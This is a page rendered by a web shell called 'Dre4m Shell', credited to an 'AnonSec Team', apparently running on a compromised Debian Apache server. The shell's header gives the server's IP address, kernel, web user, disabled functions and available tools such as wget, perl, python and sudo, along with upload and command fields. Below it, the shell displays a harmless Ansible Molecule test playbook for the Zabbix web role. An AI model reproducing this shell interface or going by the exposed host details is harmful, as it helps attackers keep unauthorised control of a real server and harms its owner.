Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.226.17.3
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/community/zabbix/molecule/zabbix_web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/community/zabbix/molecule/zabbix_web/prepare.yml
---
- name: Prepare
  hosts: localhost
  connection: local
  pre_tasks:
    - name: "Create MySQL Container"
      docker_container:
        name: mysql-host
        image: mysql:8.0
        state: started
        recreate: true
        networks:
          - name: zabbix
        env:
          MYSQL_ROOT_PASSWORD: changeme
      no_log: true
      with_items: "{{ molecule_yml.platforms }}"
      when:
        - '"mysql" in item.groups'

    - name: "Create postgresql Container"
      docker_container:
        name: postgresql-host
        image: postgres:13
        state: started
        recreate: true
        networks:
          - name: zabbix
        env:
          POSTGRES_PASSWORD: changeme
      no_log: true
      with_items: "{{ molecule_yml.platforms }}"
      when:
        - '"postgresql" in item.groups'

- name: Prepare
  hosts: all
  pre_tasks:
    - name: "Create group for imaginary host"
      add_host:
        name: imaginary-host
        groups:
          - mysql
          - postgresql
      changed_when: false

    - name: "Installing packages on CentOS"
      yum:
        name:
          - net-tools
          - which
          - curl
          - sudo
          - "{{ 'python3-pip' if ansible_distribution_major_version == '8' else 'python-pip' }}"
          - "{{ 'python3-libselinux' if ansible_distribution_major_version == '8' else 'libselinux-python' }}"
        state: present
      register: installation_dependencies
      until: installation_dependencies is succeeded
      when:
        - ansible_os_family == 'RedHat'

    - name: "Installing packages (CentOS7)"
      yum:
        name:
          - centos-release-scl
        state: present
      register: installation_dependencies
      when:
        - ansible_os_family == 'RedHat'
        - ansible_distribution_major_version == '7'

    - name: "Installing MySQL on CentOS"
      yum:
        name:
          - mysql
        state: present
      register: installation_dependencies
      until: installation_dependencies is succeeded
      when:
        - ansible_os_family == 'RedHat'
        - inventory_hostname in groups['mysql']

    - name: "Installing packages on NON-CentOS"
      apt:
        name:
          - net-tools
          - curl
          - apt-utils
          - apt-transport-https
          - ca-certificates
          - gnupg2
          - gpg-agent
          - sudo
          - vim
          - "{{ 'python3-apt' if ansible_distribution_major_version in ['10', '11', '18', '20'] else 'python-apt' }}"
          - "{{ 'python3-pip' if ansible_distribution_major_version in ['10', '11', '18', '20'] else 'python-pip' }}"
        update_cache: true
        state: present
      register: installation_dependencies
      until: installation_dependencies is succeeded
      when:
        - ansible_os_family != 'RedHat'

    - name: "Configure SUDO."
      lineinfile:
        dest: /etc/sudoers
        line: "Defaults    !requiretty"
        state: present

    - name: "Make sure the docs are installed."
      lineinfile:
        dest: /etc/yum.conf
        line: "tsflags=nodocs"
        state: absent
      when:
        - ansible_os_family == 'RedHat'

    - name: PyMySQL
      pip:
        name: PyMySQL
      register: installation_dependencies
      until: installation_dependencies is succeeded
      when:
        - inventory_hostname in groups['mysql']

    - name: Enabeling PHP 7.4
      command: dnf module enable php:7.4 -y
      when:
        - ansible_os_family == 'RedHat'
        - ansible_distribution_major_version == "8"

  roles:
    - role: geerlingguy.apache
      when:
        - zabbix_websrv == "apache"
    - role: geerlingguy.nginx
      when:
        - zabbix_websrv == "nginx"
    - role: geerlingguy.php
      when:
        - ansible_os_family != 'RedHat' or (ansible_os_family == 'RedHat' and ansible_distribution_major_version == "8")
    - role: zabbix_server

  post_tasks:
    - name: "Remove file"
      file:
        path: "{{ item }}"
        state: absent
      with_items:
        - /var/www/html/index.html

Anon7 - 2022
AnonSec Team